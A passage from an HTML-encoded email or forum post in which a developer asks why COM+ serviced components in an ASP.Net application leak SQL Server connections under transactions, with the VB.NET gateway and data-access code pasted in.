COM+ objects.&nbsp; = One is=20 called by my ASP.Net application and is passed the name of an action and = the=20 parameters for that action.&nbsp; That object then queries the database = with the=20 action name to see if it should be in a transaction, and if so, it hands = off to=20 a version of itself that has its TransactionOption set to Required (so I = only=20 run in a transaction when necessary).&nbsp; The called method of the = code in=20 both versions looks like this:</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3D"Courier New"><FONT size=3D1><FONT = color=3D#0000ff>Public=20 Function</FONT> Gateway(<FONT color=3D#0000ff>ByVal</FONT> Security = <FONT=20 color=3D#0000ff>As String</FONT>, <FONT = color=3D#0000ff>ByVal</FONT>&nbsp;Action=20 <FONT color=3D#0000ff>As String</FONT>) <FONT color=3D#0000ff>As=20 Object</FONT><BR></FONT></FONT><FONT face=3D"Courier New"><FONT = size=3D1><FONT=20 color=3D#0000ff>Try<BR></FONT>&nbsp;&nbsp;&nbsp; Gateway =3D = CommonGateway(Security,=20 Action)<BR>&nbsp;&nbsp;&nbsp; <FONT color=3D#0000ff>If</FONT>=20 ContextUtil.IsInTransaction <FONT color=3D#0000ff>Then</FONT>=20 ContextUtil.SetComplete()<BR></FONT></FONT><FONT face=3D"Courier = New"><FONT=20 size=3D1><FONT color=3D#0000ff>Catch<BR></FONT>&nbsp;&nbsp;&nbsp; <FONT=20 color=3D#0000ff>If</FONT> ContextUtil.IsInTransaction <FONT=20 color=3D#0000ff>Then</FONT> ContextUtil.SetAbort()<BR>&nbsp;&nbsp;&nbsp; = <FONT=20 color=3D#0000ff>Throw</FONT> </FONT></FONT><FONT face=3D"Courier New" = color=3D#008000=20 size=3D1>'Returns error to application<BR></FONT><FONT face=3D"Courier = New"=20 color=3D#0000ff size=3D1>End Try<BR>End Function</FONT></DIV> <DIV><FONT face=3D"Courier New" size=3D1></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>So the transaction should either be = committed or=20 aborted no matter what.</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>The action could involve one or more = calls to the=20 database, and each call goes through a single COM+ object.&nbsp; The = code for=20 this object is below.</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>If I look at Enterprise Manager and = watch the=20 Process Info (under Management\Current Activity), when I call a=20 non-transactional action multiple times, I notice that = eventually&nbsp;nearly=20 20&nbsp;processes are open to the database, all in "sleeping" state with = 0 open=20 transactions, command is "AWAITING COMMAND", application is ".Net = SqlClient Data=20 Provider", and subsequent calls do not raise this number.&nbsp; (What I = find odd=20 here is that one call opens two processes, and so when I make the next = call, it=20 doesn't immediately reuse the existing processes.&nbsp; Maybe that's = just .Net's=20 special way of preparing for load?)</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>If I make multiple calls to a = transactional action,=20 the number of connections keeps going up, with 1 open transaction = each.&nbsp; At=20 this point, I start getting errors.&nbsp; The error tends to vary -- = sometimes=20 it's a "Transaction was implicitly or explicitly committed or aborted", = others a=20 "timeout period elapsed prior to obtaining a connection from the pool", = others a=20 simple "general network error" -- but it all seems to be related to = having so=20 many processes open.&nbsp; Stopping and restarting SQL Server makes the = error go=20 away (until the number of processes hits whatever the threshhold is=20 again).</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>Also of note, the COM+ objects don't = shut down=20 after the three minutes they're configured for.</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>This would all seem to indicate (to my = untrained=20 eye) that references are not being released somewhere, but I can't = figure out=20 how or why.&nbsp; At the very least, shouldn't the GC clean up what I'm = failing=20 to catch?</FONT></DIV> <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV> <DIV><FONT face=3DArial size=3D2>"BaseDAL" COM+ object = code:</FONT></DIV> <DIV> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-spacerun: yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Public</SPAN> <SPAN style=3D"COLOR: = blue">Enum</SPAN>=20 ReturnType<?xml:namespace prefix =3D o ns =3D=20 "urn:schemas-microsoft-com:office:office" = /><o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN>NoReturn =3D=20 0<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-spacerun: = yes">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n= bsp;&nbsp;=20 </SPAN>Scalar =3D 1<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN>DataSet =3D=20 2<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN>XML =3D=20 3<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Enum<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>&lt;System.Runtime.InteropServices.ProgId(<SPAN=20 style=3D"COLOR: olive">"BaseDAL.MyDB"</SPAN>), = _<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>Transaction(TransactionOption.Supported), = _<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>ObjectPoolingAttribute(Enabled:=3D<SPAN style=3D"COLOR: = blue">True</SPAN>),=20 _<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>JustInTimeActivation(<SPAN style=3D"COLOR: blue">True</SPAN>),=20 EventTrackingEnabled(<SPAN style=3D"COLOR: blue">True</SPAN>)&gt;=20 _<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Public</SPAN> <SPAN style=3D"COLOR: = blue">Class</SPAN>=20 MyDB<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Inherits</SPAN>=20 ServicedComponent<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Private</SPAN> blnDebug <SPAN style=3D"COLOR: = blue">As</SPAN>=20 <SPAN style=3D"COLOR: blue">Boolean<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Private</SPAN> <SPAN style=3D"COLOR: = blue">Function</SPAN>=20 OpenMyDBConnection() <SPAN style=3D"COLOR: blue">As</SPAN>=20 SqlClient.SqlConnection<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oConfig <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN> = WMS.Config=20 <FONT color=3D#008000>'An object to read the=20 registry<o:p></o:p></FONT></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>OpenWarehouseDBConnection =3D <SPAN style=3D"COLOR: = blue">New</SPAN>=20 SqlClient.SqlConnection(oConfig.ConfigValue(<SPAN=20 style=3D"COLOR: olive">"MyDB"</SPAN>, <SPAN=20 style=3D"COLOR: = olive">"ConnectionString"</SPAN>))<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>OpenMyDBConnection.Open()<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN>oConfig =3D=20 <SPAN style=3D"COLOR: blue">Nothing<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">End</SPAN> <SPAN=20 style=3D"COLOR: blue">Function<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; COLOR: blue; FONT-FAMILY: 'Lucida = Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"mso-tab-count: 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = </SPAN><SPAN=20 style=3D"COLOR: blue">Private</SPAN> <SPAN style=3D"COLOR: = blue">Function</SPAN>=20 BuildSPCommand(<SPAN style=3D"COLOR: blue">ByVal</SPAN> SPName <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: = blue">String</SPAN>, <SPAN=20 style=3D"COLOR: blue">ByVal</SPAN> Parameters <SPAN style=3D"COLOR: = blue">As</SPAN>=20 Hashtable) <SPAN style=3D"COLOR: blue">As</SPAN>=20 SqlClient.SqlCommand<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> oCmd <SPAN=20 style=3D"COLOR: blue">As</SPAN> <SPAN style=3D"COLOR: blue">New</SPAN>=20 SqlClient.SqlCommand(SPName, = OpenMyDBConnection())<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">Dim</SPAN> SqlParameter <SPAN=20 style=3D"COLOR: blue">As</SPAN>=20 SqlClient.SqlParameter<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT=20 size=3D1>&nbsp;<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>oCmd.CommandType =3D=20 CommandType.StoredProcedure<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>SqlClient.SqlCommandBuilder.DeriveParameters(oCmd)<o:p></o:p></FON= T></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">If</SPAN> <SPAN style=3D"COLOR: = blue">Not</SPAN>=20 Parameters <SPAN style=3D"COLOR: blue">Is</SPAN> <SPAN=20 style=3D"COLOR: blue">Nothing</SPAN> <SPAN=20 style=3D"COLOR: blue">Then<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">For</SPAN> <SPAN=20 style=3D"COLOR: blue">Each</SPAN> SqlParameter <SPAN style=3D"COLOR: = blue">In</SPAN>=20 oCmd.Parameters<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">If</SPAN>=20 Parameters.ContainsKey(SqlParameter.ParameterName) <SPAN=20 style=3D"COLOR: blue">Then<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: blue">If</SPAN>=20 IsDBNull(Parameters.Item(SqlParameter.ParameterName)) <SPAN=20 style=3D"COLOR: blue">Then<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>SqlParameter.Value =3D DBNull.Value<o:p></o:p></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"COLOR: = blue">Else<o:p></o:p></SPAN></FONT></SPAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN>SqlParameter.Value =3D=20 Parameters.Item(SqlParameter.ParameterName).ToString<o:p></o:p></FONT></S= PAN></P> <P class=3DMsoNormal=20 style=3D"MARGIN: 0in 0in 0pt; mso-layout-grid-align: none"><SPAN=20 style=3D"FONT-SIZE: 8pt; FONT-FAMILY: 'Lucida Console'"><FONT = size=3D1><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN=20 style=3D"mso-tab-count: = 2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs= p;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN style=3D"mso-tab-count: = 1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20 </SPAN><SPAN 